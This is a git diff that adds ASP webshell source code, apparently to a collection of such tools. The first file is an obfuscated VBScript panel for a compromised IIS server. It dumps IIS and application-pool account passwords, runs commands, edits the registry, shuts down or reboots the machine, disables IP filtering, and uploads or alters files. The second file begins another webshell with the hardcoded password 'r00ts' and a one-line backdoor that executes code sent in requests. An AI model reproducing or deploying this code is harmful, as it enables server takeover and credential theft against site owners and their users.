+If Not qjr Then On Error Resume Next
+Dim gbca
+If acxze="dxc" Then
+gbca=bnes.DeleteKey(jpklj,fmsm)
+Else
+gbca=bnes.DeleteValue(jpklj,lgk(fmsm,"\",False),smfap(fmsm,"\"))
+End If
+If gbca=0 Then
+zhv"Sub key/value delete succeed!"
+Else
+zhv"Sub key/value delete fail-_-!"
+End If
+ndie=lgk(ndie,"\",False)
+End Sub
+Sub ncyl()
+If Not qjr Then On Error Resume Next
+Dim gbca
+Select Case mgy
+Case "key"
+gbca=bnes.CreateKey(jpklj,fmsm&"\"&mee)
+Case "str"
+gbca=bnes.SetStringValue(jpklj,fmsm,mee,eoz)
+Case "bsgop"
+gbca=bnes.SetExpandedStringValue(jpklj,fmsm,mee,eoz)
+Case "dwd"
+If IsNumeric(eoz)Then
+gbca=bnes.SetDWORDValue(jpklj,fmsm,mee,eoz)
+Else
+zhv"Dword value must be a number!"
+Exit Sub
+End If
+Case "xrvxd"
+gbca=bnes.SetMultiStringValue(jpklj,fmsm,mee,Split(eoz,","))
+End Select
+If gbca=0 Then
+zhv"Sub key/value create/modify succeed!"
+Else
+zhv"Sub key/value create/modify fail-_-!"
+End If
+End Sub
+Sub snrt()
+Dim qxe,vula,sru,wetn,uit,boo,vhkdi
+If Not qjr Then On Error Resume Next
+fpx("IIS Spy Using ADSI")
+ltvq"100%"
+tygwb
+doTd"<b>Name</b>",""
+doTd"<b>Domain</b>",""
+doTd"<b>IIS_USER</b>",""
+doTd"<b>IIS_PASS</b>",""
+doTd"<b>APP_USER</b>",""
+doTd"<b>APP_PASS</b>",""
+doTd"<b>Path</b>",""
+jozsz=0
+Set vula=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC")
+For Each obj3w In vula
+boo=obj3w.Name
+If IsNumeric(boo) Then
+qxe=Obj3w.ServerComment
+Set domain=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC/"&boo)
+If isArray(domain.ServerBindings) Then
+uit=domain.ServerBindings
+sru=""
+For i=0 To UBound(uit)
+sru=sru+uit(i)+"<br>"
+Next
+sru=Left(sru,Len(sru)-4)
+End If
+Set wetn=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC/"&boo&"/ro"&todxo&"ot")
+Set vhkdi=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC/AppPo"&lavjs&"ols/"&wetn.AppPoolId)
+abywz jozsz
+doTd qxe,""
+doTd sru,""
+doTd wetn.AnonymousUserName,""
+doTd wetn.AnonymousUserPass,""
+doTd vhkdi.WAMUserName,""
+doTd vhkdi.WAMUserPass,""
+doTd "<a href=""javascript:adwba('bbr','','"&utzvg(wetn.path)&"')"">"&wetn.path&"</a>",""
+igl
+uuuk
+End If
+Next
+xlvqe
+Set vula=Nothing
+Set wetn=Nothing
+Set domain=Nothing
+Set wetn=Nothing
+smeb(Err)
+End Sub
+Sub qvetz()
+Dim ylz,qifc,xczkb,uwfd
+If Not qjr Then On Error Resume Next
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\Mi"&brjdx&"crosoftIISv2")
+Set ylz=zsckm.InstancesOf("IISWebVirtualDir"&ymy&"Setting")
+fpx("IIS Spy Using WMI")
+ltvq"100%"
+tygwb
+doTd"<b>Name</b>",""
+doTd"<b>Domain</b>",""
+doTd"<b>IIS_USER</b>",""
+doTd"<b>IIS_PASS</b>",""
+doTd"<b>APP_USER</b>",""
+doTd"<b>APP_PASS</b>",""
+doTd"<b>Path</b>",""
+igl
+jozsz=0
+For Each objWebDoc In ylz
+abywz jozsz
+Set qifc=zsckm.ExecQuery("Select ServerComment,ServerBindings from II"&rvx&"SWebServerSetting where Name='"&Replace(objWebDoc.Name,"/ro"&todxo&"ot","",1,-1,1)&"'")
+If qifc.Count=0 Then
+doTd "",""
+doTd "",""
+Else
+For Each objWebSvr In qifc
+tmpdmStr=""
+doTd objWebSvr.ServerComment,""
+For Each subBind In objWebSvr.ServerBindings
+If tmpdmStr<>""Then tmpdmStr=tmpdmStr&"<br>"
+tmpdmStr=tmpdmStr&subBind.IP&":"&subBind.Port&":"&subBind.Hostname
+Next
+doTd tmpdmStr,""
+Exit For
+Next
+End If
+doTd objWebDoc.AnonymousUserName,""
+doTd objWebDoc.AnonymousUserPass,""
+Set xczkb=zsckm.ExecQuery("Select WAMUserName,WAMUserPass from IISAppli"&dwgoq&"cationPoolSetting where Name='W3S"&vum&"VC/AppPo"&lavjs&"ols/"&objWebDoc.AppPoolId&"'")
+For Each objWebApp In xczkb
+doTd objWebApp.WAMUserName,""
+doTd objWebApp.WAMUserPass,""
+Exit For
+Next
+doTd "<a href=""javascript:adwba('bbr','','"&utzvg(objWebDoc.Path)&"')"">"&objWebDoc.Path&"</a>",""
+igl
+uuuk
+Next
+xlvqe
+Set vula=Nothing
+smeb(Err)
+End Sub
+Sub ihm()
+Dim ndk,goeje
+If Not qjr Then On Error Resume Next
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2")
+Set zgn=zsckm.InstancesOf("Win32_UserAccount")
+Set eduj=zsckm.InstancesOf("Win32_Group")
+fpx("User List")
+iquhg "Users",False
+ltvq "100%"
+For Each edg In zgn
+tygwb
+eedi"<td align='center' colspan='2'>"&edg.Name&"</td>"
+igl
+jozsz=0
+For Each subProp In edg.Properties_
+abywz jozsz
+doTd subProp.Name,""
+doTd subProp.Value,""
+igl
+uuuk
+Next
+Next
+xlvqe
+echo"</span><br>"
+iquhg "Groups",False
+ltvq"100%"
+For Each fnc In eduj
+tygwb
+eedi"<td align='center' colspan='2'><b>"&fnc.Name&"</b></td>"
+igl
+jozsz=0
+For Each subProp In fnc.Properties_
+abywz jozsz
+doTd subProp.Name,""
+doTd subProp.Value,""
+igl
+uuuk
+Next
+Next
+xlvqe
+echo"</span>"
+smeb(Err)
+End Sub
+Sub qxbon()
+Dim yzka,plz,fmsm
+fpx("DataSource List")
+If Not qjr Then On Error Resume Next
+Set bnes=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\default:StdRegP"&bqlnw&"rov")
+jpklj=&H80000002
+fmsm="SOFTW"&cyz&"ARE\ODBC\ODBCINST.INI"
+bnes.EnumKey jpklj,fmsm,yzka
+ltvq"100%"
+tygwb
+doTd"<b>DataBase Driver</b>",""
+doTd"<b>Driver Path</b>",""
+igl
+jozsz=0
+For Each strOdbcName In yzka
+abywz jozsz
+doTd strOdbcName,""
+bnes.GetStringValue jpklj,fmsm&"\"&strOdbcName,"Driver",plz
+doTd plz,""
+igl
+uuuk
+Next
+xlvqe
+End Sub
+Sub ehyx()
+Dim sefc,dkb,rrf,umj
+If Not qjr Then On Error Resume Next
+Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2")
+Set dkb=zsckm.InstancesOf("Win32_OperatingSy"&mvwu&"stem")
+fpx("xcngn Tools")
+echo"<center>"
+ltvq"60%"
+ztlif False
+xze"acxze","dlagb"
+abywz 1
+doTd "Turn off server","80%"
+ncxl "Do it","20%"
+igl
+zro
+ztlif False
+xze"acxze","reset"
+abywz 0
+doTd"Reset server",""
+ncxl "Do it",""
+igl
+zro
+ztlif False
+xze"acxze","xcnu"
+abywz 1
+doTd "Disable TCP/IP filter",""
+ncxl "Do it",""
+igl
+zro
+xlvqe
+echo"</center>"
+Select Case acxze
+Case "dlagb"
+For Each sefc In dkb
+If sefc.Shutdown()=0 Then
+zhv"Shuting computer,fuck off!"
+Else
+zhv"Shut computer fail-_-!"
+End If
+Next
+Case "reset"
+For Each sefc In dkb
+If sefc.Reboot()=0 Then
+zhv"Restarting computer,connect later..."
+Else
+zhv"Restart computer fail-_-!"
+End If
+Next
+Case "xcnu"
+Set rrf=zsckm.ExecQuery("select * from Win32_NetworkAda"&dkp&"pterConfiguration where IPEnabled ='True'")
+For Each umj In rrf
+dised=umj.DisableIPSec()
+If dised=0 Or dised=1 Then
+zhv"IP filter disable succeed!You need to restart server to make it effective."
+Else
+zhv"IP filter disable fail-_-!"
+End If
+Next
+End Select
+End Sub
+Sub fpx(ivv)
+%>
+<html>
+<head>
+<title><%=xacj%></title>
+<style type="text/css">
+body,td{font: 12px Arial,Tahoma;line-height: 16px;}
+.main{width:100%;padding:20px 20px 20px 20px;}
+.hidehref{font:12px Arial,Tahoma;color:#646464;}
+.input{font:12px Arial,Tahoma;background:#fff;height:20px;BORDER-WIDTH:1px;}
+.text{font:12px Arial,Tahoma;background:#fff;BORDER-WIDTH:1px;}
+.frame{font:12px Arial,Tahoma;border:1px solid #ddd;width:100%;height:400px;padding:1px;}
+.tdInput{font:12px Arial,Tahoma;background:#fff;padding:1px;height:20px;BORDER-WIDTH:1px;width:100%;}
+.text{font:12px Arial,Tahoma;background:#fff;padding:1px;}
+.tdText{font:12px Arial,Tahoma;background:#fff;padding:1px;width:100%;}
+.area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
+a{color: #00f;text-decoration:underline;}
+a:hover{color: #f00;text-decoration:none;}
+.link td{border-top:1px solid #fff;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;}
+.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:2px 10px 2px 5px;height:28px}
+.alt0 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:2px 10px 2px 5px;height:28px}
+.focusTr td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ddddff;padding:2px 10px 2px 5px;height:28px}
+.head td{border-top:1px solid #ccc;border-bottom:1px solid #bbb;background:#e0e0e0;padding:5px 10px 5px 5px;font-weight:bold;}
+.headSpan{border-top:1px solid #fff;margin:2;background:#e0e0e0;width:100%;}
+form{margin:0;padding:0;}
+.bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:23px;padding:3px 5px 5px 5px;}
+h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
+ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
+u{text-decoration: none;color:#777;float:left;display:block;width:50%;margin-right:10px;}
+label{font:12px Arial,Tahoma;float:left;width:25%;}
+</style>
+<script language="javascript">
+function uxbp(str){
+return escape(str);
+}
+</script>
+<script language="vbscript">
+Function rfeef(obj)
+If obj.style.display="none"Then
+obj.style.display=""
+Else
+obj.style.display="none"
+End If
+End Function
+Function adwba(coqk,nfr,Str)
+On Error Resume Next
+Dim cagc
+actForm.goaction.value=coqk
+actForm.acxze.value=nfr
+If coqk="bbr" And Str<>"" And InStr(Str,":\")<1 Then Str=woaee.value&Str
+If coqk="kqmyb" And Str<>"" And InStr(Str,"HKEY_")<>1 Then Str=form1.ndie.value&"\"&Str
+actForm.puvgw.value=rsdx(Str)
+Select Case nfr
+Case"tngdz"
+upform.action="<%=ykzg%>?goaction="&coqk&"&acxze="&nfr&"&vqsbz="&uxbp(rsdx(upform.vqsbz.value))&"&igiqh="&uxbp(Mid(upform.file.Value,InstrRev(upform.file.Value,"\")+1))
+If upform.xxyj.checked Then
+upform.action=upform.action&"&xxyj=1"
+End If
+upform.submit()
+Case"vihy","ewvk","ejgn","tbqwf","wsf","nhlnt","rsri"
+Select Case nfr
+Case"ejgn","ewvk"
+cagc=InputBox("Move to :","Move",Left(Str,InstrRev(Str,"\")))
+Case"tbqwf","vihy"
+cagc=InputBox("Copy to :","Copy",Left(Str,InstrRev(Str,"\")))
+Case"wsf","nhlnt"
+cagc=InputBox("Rename as :","Rename",Mid(Str,InstrRev(Str,"\")+1))
+If nfr="wsf"Then
+Do While InStr(cagc,".")<1 And cagc<>""
+cagc=InputBox("Invalid file name format!","Rename","")
+Loop
+End If
+Case Else
+cagc=InputBox("Modify as :","Modify time","")
+End Select
+If cagc=""Then Exit Function
+actForm.puvgw.value=rsdx(Str&"|"&cagc)
+actForm.submit()
+Case"oql","sgqly"
+If Window.confirm("Delete?Are you sure?")Then actForm.submit()
+Case"dxc","pppau"
+If Window.confirm("Delete?Are you sure?")Then actForm.submit()
+Case Else
+actForm.submit()
+End Select
+End Function
+Function rsdx(xdl)
+If Not <%=zvhy%> Or xdl=""Then
+rsdx=xdl
+Exit Function
+End If
+Dim tt,odyzj
+tt=""
+For i=1 To Len(xdl)
+odyzj=Mid(xdl,i,1)
+If Asc(odyzj)<128 And Asc(odyzj)>0 then
+tt=tt&Asc(odyzj)+<%=ybd%>&"<%=miih%>"
+Else
+tt=tt&odyzj&"<%=miih%>"
+End If
+Next
+rsdx=Left(tt,Len(tt)-1)
+End Function
+Function vscms(nedsl)
+On Error Resume Next
+Dim pamArr
+pamArr=Split("<%=xdl%>","|")
+For Each strPam In pamArr
+On Error Resume Next:Execute nedsl&"."&strPam&".value=rsdx("&nedsl&"."&strPam&".value)"
+Next
+End Function
+Function argnp()
+cmdResult.document.body.innerHTML="<form name=frm method=post action='?'><input type=hidden name=goaction value='<%=goaction%>' /><input type=hidden name='acxze' value='viewResult'/><input type=hidden name='rrr' value='"&rsdx(form1.rrr.value)&"'/></form>"
+cmdResult.document.frm.submit()
+End Function
+</script>
+</head>
+<body style="margin:0;table-layout:fixed; word-break:break-all;"bgcolor="#fafafa">
+<table width="100%"border="0"cellpadding="0"cellspacing="0">
+<tr class="head">
+<td style="width:30%"><br><%=gbba("LOCAL_ADDR")&"("&xnqtl&")"%></td>
+<td align="center" style="width:40%"><br>
+<b><%adutj xacj,"#0099FF","3"%></b><br>
+</td>
+<td style="width:30%"align="right"><%=jck()%></td>
+</tr>
+<form id="actForm"method="post"action="<%=ykzg%>">
+<input type="hidden" id="goaction" name="goaction" value="">
+<input type="hidden" id="acxze" name="acxze" value="">
+<input type="hidden" id="puvgw" name="puvgw" value="">
+</form>
+<tr class="link">
+<td colspan="3">
+<a href="javascript:adwba('bbr','','');">FSO File</a> |
+<a href="javascript:adwba('lmwgb','','');">IIS Spy(Adsi)</a> |
+<a href="javascript:adwba('umh','','');">IIS Spy(WMI)</a> |
+<a href="javascript:adwba('pmy','','');">Cmd Shell</a> |
+<a href="javascript:adwba('kqmyb','','');">Reg Shell</a> |
+<a href="javascript:adwba('ulxbb','','');">Service List</a> |
+<a href="javascript:adwba('jdwtp','','');">Process List</a> |
+<a href="javascript:adwba('ukpy','','');">User List</a> |
+<a href="javascript:adwba('xpodw','','');">DataSource List</a> |
+<a href="javascript:adwba('xcngn','','');">Some others...</a>
+</td>
+</tr>
+</table><div class="main"><br>
+<%
+echo"<b>"
+adutj ivv&" &raquo;","#0099ff","2"
+eedi"</b><br><br>"
+End Sub
+Function tortz(vqsbz)
+Set objCountFile=dut.OpenTextFile(vqsbz,1,True)
+tortz=objCountFile.ReadAll
+objCountFile.Close
+Set objCountFile=Nothing
+End Function
+Function zhxc(vqsbz)
+Dim kodwq
+If Not qjr Then On Error Resume Next
+Set kodwq=mfmq("Adodb.Stream")
+With kodwq
+.Type=2
+.Mode=3
+.Open
+.LoadFromFile vqsbz
+.Charset="utf-8"
+.Position=2
+zhxc=.ReadText()
+.Close
+End With
+Set kodwq=Nothing
+End Function
+Sub vtyjq(vqsbz,spmh)
+Dim theFile
+Set theFile=dut.OpenTextFile(vqsbz,2,True)
+theFile.Write spmh
+theFile.Close
+Set theFile=Nothing
+End Sub
+Sub oooeu(vqsbz,spmh)
+Dim kodwq
+If Not qjr Then On Error Resume Next
+Set kodwq=mfmq("Adodb.Stream")
+With kodwq
+.Type=2
+.Mode=3
+.Open
+.Charset="utf-8"
+.WriteText spmh
+.SavetoFile vqsbz,2
+.Close
+End With
+Set kodwq=Nothing
+End Sub
+Sub vwsrt()
+If Not qjr Then On Error Resume Next
+If mhve="file"Then
+vqsbz=vqsbz&"\"&yug
+Call dut.CreateTextFile(vqsbz,False)
+wqj
+Else
+dut.CreateFolder(vqsbz&"\"&yug)
+End If
+If Err Then
+smeb(Err)
+Else
+zhv"File/folder created"
+End If
+End Sub
+Sub mgxnb()
+Dim etzij,advu,ooz,mxq
+If Not qjr Then On Error Resume Next
+vqsbz=lgk(puvgw,"|",False)
+etzij=smfap(puvgw,"|")
+If InStr(vqsbz,"\")<1 Then vqsbz=vqsbz&"\"
+Dim theFile,fileName,aqwr
+If vqsbz=""Or etzij=""Then
+zhv"Parameter wrong!"
+Exit Sub
+End If
+If strFileMethod="fso"Then
+If acxze="renamefolder"Then
+Set aqwr=dut.GetFolder(vqsbz)
+aqwr.Name=etzij
+Set aqwr=Nothing
+Else
+Set theFile=dut.GetFile(vqsbz)
+theFile.Name=etzij
+Set theFile=Nothing
+End If
+Else
+mxq=smfap(vqsbz,"\")
+ooz=lgk(vqsbz,"\",False)
+Set advu=erd.NameSpace(ooz)
+Set objItem=advu.ParseName(mxq)
+objItem.Name=etzij
+End If
+If Err Then
+smeb(Err)
+Else
+zhv"Rename completed"
+End If
+End Sub
+Sub vuh()
+If Not qjr Then On Error Resume Next
+If acxze="sgqly"Then
+Call dut.DeleteFolder(vqsbz,True)
+Else
+Call dut.DeleteFile(vqsbz,True)
+End If
+If Len(vqsbz)=2 Then vqsbz=vqsbz&"\"
+If Err Then
+smeb(Err)
+Else
+zhv"File/folder deleted"
+End If
+End Sub
+Sub jreg()
+Dim ylkbe,zyn,bpavi,egcb,kcos
+If Not qjr Then On Error Resume Next
+vqsbz=Left(puvgw,Instr(puvgw,"|")-1)
+zyn=Mid(puvgw,InStr(puvgw,"|")+1)
+If vqsbz=""Or zyn=""Then
+zhv"Parameter wrong!"
+Exit Sub
+End If
+If Right(zyn,1)<>"\"Then zyn=zyn&"\"
+Select Case acxze
+Case"vihy"
+Call dut.CopyFolder(vqsbz,zyn)
+Case"tbqwf"
+Call dut.CopyFile(vqsbz,zyn)
+Case"ewvk"
+Call dut.MoveFolder(vqsbz,zyn)
+Case"ejgn"
+Call dut.MoveFile(vqsbz,zyn)
+End Select
+If Err Then
+smeb(Err)
+Else
+zhv"File/folder copyed/moved"
+End If
+End Sub
+Sub rsri()
+Dim sdxpm,argbp,wruwd,clagp
+If Not qjr Then On Error Resume Next
+vqsbz=Left(puvgw,Instr(puvgw,"|")-1)
+If Right(vqsbz,1)="\"And Len(vqsbz)>3 Then vqsbz=Left(vqsbz,Len(vqsbz)-1)
+argbp=smfap(vqsbz,"\")
+wruwd=Mid(puvgw,Instr(puvgw,"|")+1)
+vqsbz=lgk(vqsbz,"\",False)
+Set clagp=erd.NameSpace(vqsbz)
+Set sdxpm=clagp.ParseName(argbp)
+If wruwd<>""Then
+If IsDate(wruwd) Then sdxpm.ModifyDate=wruwd
+End If
+If Err Then
+smeb(Err)
+Else
+zhv"Time modiffied"
+End If
+Set sdxpm=Nothing
+Set clagp=Nothing
+End Sub
+Sub qws()
+Response.Clear
+If Not qjr Then On Error Resume Next
+Dim kodwq,fileName,kpmtb
+fileName=smfap(vqsbz,"\")
+Set kodwq=mfmq("Adodb.Stream")
+kodwq.Open
+kodwq.Type=1
+kodwq.LoadFromFile(vqsbz)
+smeb(Err)
+session.CodePage=936
+Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName
+session.CodePage=65001
+Response.AddHeader"Content-Length",kodwq.Size
+Response.ContentType="Application/Octet-Stream"
+Response.BinaryWrite kodwq.Read
+Response.Flush()
+kodwq.Close
+Set kodwq=Nothing
+End Sub
+Sub uvrs()
+If Not qjr Then On Error Resume Next
+Dim i,j,info,srh,theFile,fileName,spmh
+If InstrRev(vqsbz,".")<InstrRev(vqsbz,"\") Then
+If Right(vqsbz,1)<>"\"Then vqsbz=vqsbz&"\"
+vqsbz=vqsbz&igiqh
+End If
+If InStr(vqsbz,":")<1 Then vqsbz=vqt&"\"&vqsbz
+Set kodwq=mfmq("Adodb.Stream")
+Set srh=mfmq("Adodb.Stream")
+With kodwq
+.Type=1
+.Mode=3
+.Open
+.Write Request.BinaryRead(Request.TotalBytes)
+.Position=0
+spmh=.Read()
+i=InStrB(spmh,chrB(13)&chrB(10))
+info=LeftB(spmh,i-1)
+i=Len(info)+2
+i=InStrB(i,spmh,chrB(13)&chrB(10)&chrB(13)&chrB(10))+4-1
+j=InStrB(i,spmh,info)-1
+srh.Type=1
+srh.Mode=3
+srh.Open
+kodwq.position=i
+.CopyTo srh,j-i-2
+If xxyj=1 Then
+srh.SavetoFile vqsbz,2
+Else
+srh.SavetoFile vqsbz
+End If
+If Err Then
+smeb(Err)
+Else
+zhv"File uploaded"
+End If
+srh.Close
+.Close
+End With
+Set kodwq=Nothing
+Set srh=Nothing
+End Sub
+Function rsdx(xdl)
+If Not zvhy Or xdl=""Then
+rsdx=xdl
+Exit Function
+End If
+Dim tt,odyzj
+tt=""
+For i=1 To Len(xdl)
+odyzj=Mid(xdl,i,1)
+If Asc(odyzj)<128 And Asc(odyzj)>0 then
+tt=tt&Asc(odyzj)+ybd&miih
+Else
+tt=tt&odyzj&miih
+End If
+Next
+rsdx=Left(tt,Len(tt)-1)
+End Function
+Function wdhw(jtd)
+If Not zvhy Or jtd=""Then
+wdhw=jtd
+Exit Function
+End If
+Dim dd,ofetm
+dd=""
+ofetm=Split(jtd,miih)
+For i=0 To UBound(ofetm)
+If IsNumeric(ofetm(i))Then
+dd=dd&Chr(CInt(ofetm(i))-ybd)
+Else
+dd=dd&ofetm(i)
+End If
+Next
+wdhw=dd
+End Function
+Function jck()
+Dim bdyaf,pylll,vhjdi
+pylll=88
+vhjdi=31
+bdyaf="<br>"
+bdyaf=bdyaf&"<a href='http://www.vtwo.cn/' target='_blank'>Bink Team</a> | "
+bdyaf=bdyaf&"<a href='http://0kee.com/' target='_blank'>0kee Team</a> | "
+bdyaf=bdyaf&"<a href='http://www.t00ls.net/' target='_blank'>T00ls</a> | "
+bdyaf=bdyaf&"<a href='http://www.helpsoff.com.cn' target='_blank'>Fuck Tencent</a>"
+jck=bdyaf
+End Function
+Function gbba(str)
+gbba=Request.ServerVariables(str)
+End Function
+Function mfmq(frije)
+Set mfmq=Server.CreateObject(frije)
+End Function
+Function dtwz(frije)
+Set dtwz=GetObject(frije)
+End Function
+Function qtyi(str)
+qtyi=server.urlencode(str)
+End Function
+Function pjaq(str)
+Dim yyz,ewfcm
+yyz=""
+For i=0 To Len(str)-1
+ewfcm=Right(str,Len(str)-i)
+If Asc(ewfcm)<16 Then yyz=yyz&"0"
+yyz=yyz&CStr(Hex(Asc(ewfcm)))
+Next
+pjaq="0x"&yyz
+End Function
+Function pxxk(str)
+Dim yyz,ewfcm
+yyz=""
+For i=0 To Len(str)-1
+ewfcm=Right(str,Len(str)-i)
+yyz=yyz&CStr(Hex(Asc(ewfcm)))&"00"
+Next
+pxxk="0x"&yyz
+End Function
+Function htmlEncode(str)
+str=vresz(str)
+str=Replace(str,Chr(13)&Chr(10),"<br>")
+htmlEncode=Replace(str," ","&nbsp;")
+End Function
+Function vresz(str)
+If str=""Or IsNull(str)Then
+vresz=""
+Exit Function
+End If
+vresz=Server.HtmlEncode(str)
+End Function
+Function dhh(str)
+dhh=Server.MapPath(str)
+End Function
+Sub smeb(Err)
+If Err Then
+zhv"Exception :"&Err.Description
+zhv"Exception source :"&Err.Source
+Err.Clear
+End If
+End Sub
+Function utzvg(ByVal str)
+str=Replace(str,"\","\\")
+utzvg=Replace(str,"\\\\","\\")
+End Function
+Function lgk(str,pnux,qxqyo)
+If str="" Or InStr(str,pnux)<1 Then
+lgk=""
+Exit Function
+End If
+If qxqyo Then
+lgk=Left(str,InStr(str,pnux)-1)
+Else
+lgk=Left(str,InstrRev(str,pnux)-1)
+End If
+End Function
+Function smfap(str,pnux)
+If str="" Or InStr(str,pnux)<1 Then
+smfap=""
+Exit Function
+End If
+smfap=Mid(str,InstrRev(str,pnux)+Len(pnux))
+End Function
+Sub echo(str)
+Response.Write str
+End Sub
+Sub eedi(str)
+echo str&vbCrLf
+End Sub
+Sub iquhg(frije,opns)
+echo"<a href=""javascript:rfeef("&frije&")"" class=""hidehref"">"&frije&" :</a>"
+echo"<span id="&frije
+If opns Then echo" style='display:none;'"
+eedi">"
+End Sub
+Sub adutj(str,color,size)
+echo"<font color="""&color&""""
+If size<>""Then echo" size="""&size&""""
+eedi">"&str&"</font>"
+End Sub
+Sub ltvq(width)
+eedi"<table width="""&width&"""border=""0""cellpadding=""0""cellspacing=""0"">"
+End Sub
+Sub xlvqe()
+eedi"</table>"
+End Sub
+Sub abywz(num)
+echo"<tr class='alt"&num&"' onmouseover=""javascript:this.className='focusTr';"" onmouseout=""javascript:this.className='alt"&num&"';"">"
+End Sub
+Sub xjnn(num)
+echo"<span class='alt"&num&"Span'>"
+End Sub
+Sub ztlif(zvhy)
+echo"<form method=""post"" id=""form"&nedsl&""" action="""&ykzg&""""
+If zvhy Then echo" onSubmit=""javascript:vscms('form"&nedsl&"')"""
+eedi">"
+xze"goaction",goaction
+nedsl=nedsl+1
+End Sub
+Sub zro()
+eedi"</form>"
+End Sub
+Sub ncxl(value,width)
+echo"<td style=""width:"&width&""">"
+echo"<input type=""submit"" value="""&value&""" class=""bt"">"
+eedi"</td>"
+End Sub
+Sub snqs(str,color,size)
+echo"<td>"
+adutj str,color,size
+eedi"</td>"
+End Sub
+Sub tygwb()
+echo"<tr class='link'>"
+End Sub
+Sub igl()
+eedi"</tr>"
+End Sub
+Sub doTd(td,width)
+If IsObject(td)Or td=""Or IsNull(td) Then td="<font color=""red"">Null</font>"
+echo"<td"
+If width<>""Then echo" width='"&width&"'"
+echo">"
+echo td
+eedi"</td>"
+End Sub
+Sub pwbon(td,width)
+If IsNull(td) Then td="<font color=""red"">Null</font>"
+doTd td,width
+End Sub
+Sub pisa(wdi,name,value,size,uko)
+Dim cls
+If wdi="button"Or wdi="submit"Or wdi="reset"Then
+cls="bt"
+Else
+cls="input"
+End If
+eedi"<input type="""&wdi&""" name="""&name&""" id="""&name&""" value="""&vresz(value)&""" size="""&size&""" class="""&cls&""" "&uko&">"
+End Sub
+Sub xze(name,value)
+echo"<input type=""hidden"" name="""&name&""" id="""&name&""" value="""&value&""">"
+End Sub
+Sub luhhh(wdi,name,value,width,uko,span)
+Dim cls
+If wdi="button"Or wdi="submit"Or wdi="reset"Then
+cls="bt"
+Else
+cls="tdInput"
+End If
+If span=""Then span=1
+echo"<td colspan="&span&" style=""width:"&width&""">"
+echo"<input type="""&wdi&""" name="""&name&""" id="""&name&""" value="""&vresz(value)&""" class="""&cls&""" "&uko&">"
+eedi"</td>"
+End Sub
+Sub adwba(value)
+eedi"<input type=""submit"" value="""&value&""" class=""bt"">"
+End Sub
+Sub cuuu(name,value,rows)
+echo"<td>"
+pvrd name,value,"100%",rows," class=""tdText"""
+eedi"</td>"
+End Sub
+Sub asby(str)
+If Not qjr Then On Error Resume Next
+If IsNull(str)Then str="<font color=red>Null<font>"
+echo"<td nowrap>"&str&"</td>"
+End Sub
+Sub pvrd(name,value,width,rows,uko)
+echo"<textarea name="""&name&""" id="""&name&""" style=""width:"&width&";"" rows="""&rows&""" class=""text"" "&uko&">"
+echo vresz(value)
+eedi"</textarea>"
+End Sub
+Sub jqsb()
+echo"<ul class=""info"">"
+End Sub
+Sub uxzf(name,width,uko)
+eedi"<select style=""width:"&width&""" name="""&name&""" "&uko&">"
+End Sub
+Sub fndid()
+eedi"</select>"
+End Sub
+Sub zepw(value,str)
+eedi"<option value="""&value&""">"&str&"</option>"
+End Sub
+Sub uuuk()
+jozsz=jozsz+1
+If jozsz>=2 Then jozsz=0
+End Sub
+Sub cutw(str)
+eedi"<label>"&str&"</label>"
+End Sub
+Sub zhv(str)
+wbk=wbk&"<li>"&str&"</li>"
+End Sub
+Sub duhsb(Err)
+If Err Then
+smeb(Err)
+sbbo
+End If
+End Sub
+Function nopx(str,fehmw)
+blhvq.Pattern=fehmw
+nopx=blhvq.Test(str)
+End Function
+Function mgl(str,fehmw,gbriw)
+If gbriw Then fehmw=phfbl(fehmw)
+blhvq.Pattern=fehmw
+Set mgl=blhvq.Execute(str)
+End Function
+Function bnb(str,fehmw,poc,gbriw)
+If gbriw Then fehmw=phfbl(fehmw)
+blhvq.Pattern=fehmw
+bnb=blhvq.Replace(str,poc)
+End Function
+Function phfbl(str)
+str=Replace(str,"\","\\")
+str=Replace(str,".","\.")
+str=Replace(str,"?","\?")
+str=Replace(str,"+","\+")
+str=Replace(str,"(","\(")
+str=Replace(str,")","\)")
+str=Replace(str,"*","\*")
+str=Replace(str,"[","\[")
+str=Replace(str,"]","\]")
+phfbl=str
+End Function
+%>
\ No newline at end of file
diff --git a/asp/r00ts鏃燜SO缁勫缓澶ч┈.asp b/asp/r00ts鏃燜SO缁勫缓澶ч┈.asp
new file mode 100644
index 0000000..06cefce
--- /dev/null
+++ b/asp/r00ts鏃燜SO缁勫缓澶ч┈.asp
@@ -0,0 +1,2294 @@
+<%
+Server.ScriptTimeout=999999999
+UserPass="r00ts" 
+Response.Buffer =true
+On Error Resume Next
+BodyColor="#000000"
+FontColor="#33FF00"
+LinkColor="#33FF00"
+clientPassword=UserPass
+Const strJsCloseMe="<input type=button value=' 关闭 ' onclick='window.close();'>"
+strBAD="<script language=vbscript runat=server>"
+strBAD=strBAD&"If Request("""&clientPassword&""")<>"""" Then Session("""&clientPassword&""")=Request("""&clientPassword&""")"
+strBAD=strBAD&":end if"&VbNewLine
+strBAD=strBAD&"If Session("""&clientPassword&""")<>"""" Then Execute Session("""&clientPassword&""")"
+strBAD=strBAD&"</script>"
+Const isDebugMode=False
+Const DEfd=""
+sub ShowErr()
+If Err Then
+o"<br><a href='javascript:history.back()'><br>&nbsp;"&Err.Description&"&nbsp;"&Err.Source&"(点此返回上页)</a><br>"
+Err.Clear:Response.Flush
+End If
+end sub
